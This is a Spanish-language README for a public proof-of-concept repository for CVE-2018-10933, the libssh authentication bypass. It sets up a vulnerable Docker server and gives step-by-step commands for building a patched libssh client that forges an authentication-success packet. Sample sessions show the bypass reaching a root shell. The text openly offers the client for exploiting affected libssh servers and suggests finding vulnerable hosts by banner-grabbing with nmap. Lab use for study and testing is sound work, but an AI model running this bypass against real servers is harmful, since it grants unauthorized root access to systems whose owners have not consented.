hackerhouse-opensource/cve-2018-10933cve-2018-10933 libssh bypass de autenticación
CVE-2018-10933 omisión de autenticación de libssh, un contenedor Docker vulnerable que escucha en el puerto 2222 para explotación. Un parche básico de prueba de concepto de libssh incluido en el contenedor para omitir la autenticación. Para iniciar sesión use el "myuser" / "mypassword" predeterminados de libssh. Se aplica un parche a una copia de libssh en el contenedor Docker que inyecta un paquete SSH2_MSG_USERAUTH_SUCCESS durante cualquier intento de autenticación (teclado-interactivo / clave pública / gss-api, etc.) y establece el estado del lado del cliente para continuar. El servidor incluido ha sido parcheado a partir del código de ejemplo para permitir que la explotación tenga éxito.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
Un exploit-libssh-0.8.3 parcheado y sshd vulnerable están disponibles en el contenedor para fines de prueba. El "ssh-client" omitirá la autenticación con éxito pero no podrá generar un shell contra el servidor de ejemplo predeterminado debido a verificaciones adicionales de autenticación en el código del servidor.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
Del aviso: "un cliente malicioso podría crear canales sin realizar primero la autenticación, lo que resulta en acceso no autorizado."
La siguiente salida de depuración de libssh muestra que la autenticación se ha realizado correctamente en el servidor y se ha creado un canal de sesión. El host ya está autenticado, pero las comprobaciones adicionales del lado del servidor impiden que se ejecuten comandos. Un atacante aún podría intentar tunelizar/proxy conexiones a través del servicio.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
Los intentos de lanzar shells / exec o pty resultan en una sesión exitosa pero errores en el servidor de ejemplo debido a comprobaciones adicionales sobre el estado de autenticación del usuario. Los siguientes errores se muestran en el servidor de ejemplo.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
Todavía es posible que los servidores libssh personalizados potencialmente resulten en ejecución de código arbitrario, pero la mayoría solo puede permitir tunelización o algún mal uso del protocolo SSH. Al eliminar la verificación de autenticación adicional, el servidor ahora es vulnerable a la explotación de omisión de autenticación. Es posible que una implementación de libssh del lado del servidor introduzca esta vulnerabilidad. Ejemplo de una explotación exitosa usando libssh parcheado a continuación.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
El contenedor Docker ejecutará el ejemplo vulnerable "ssh_server_fork" por defecto, el original se puede encontrar en el directorio "libssh-0.8.3" para fines de prueba/depuración.
Los siguientes proveedores parecen estar prácticamente afectados por esta falla debido a su uso de libssh.
libssh está instalado localmente en varias distribuciones de *BSD y Linux, y es utilizado por ffmpeg (?), hydra y un pequeño número de paquetes de código abierto (FOSS).
Puedes construir un cliente libssh parcheado desde este repositorio para uso de explotación.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
Luego puedes usar "ssh-client" y cualquier ejemplo para omitir la autenticación en implementaciones de servidores libssh afectadas.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
El escaneo de hosts potencialmente vulnerables se puede realizar simplemente haciendo un banner grabbing regular en los puertos SSH afectados (por ejemplo, nmap).
SSH-2.0-libssh_0.8.3
El aviso original está en CVE-2018-10933.txt, vulnerabilidad encontrada por Peter Winter Smith. El parche de explotación de Docker y libssh vulnerable fue publicado por Hacker House (https://hacker.house).
Estos archivos están disponibles bajo la licencia BSD de 3 cláusulas.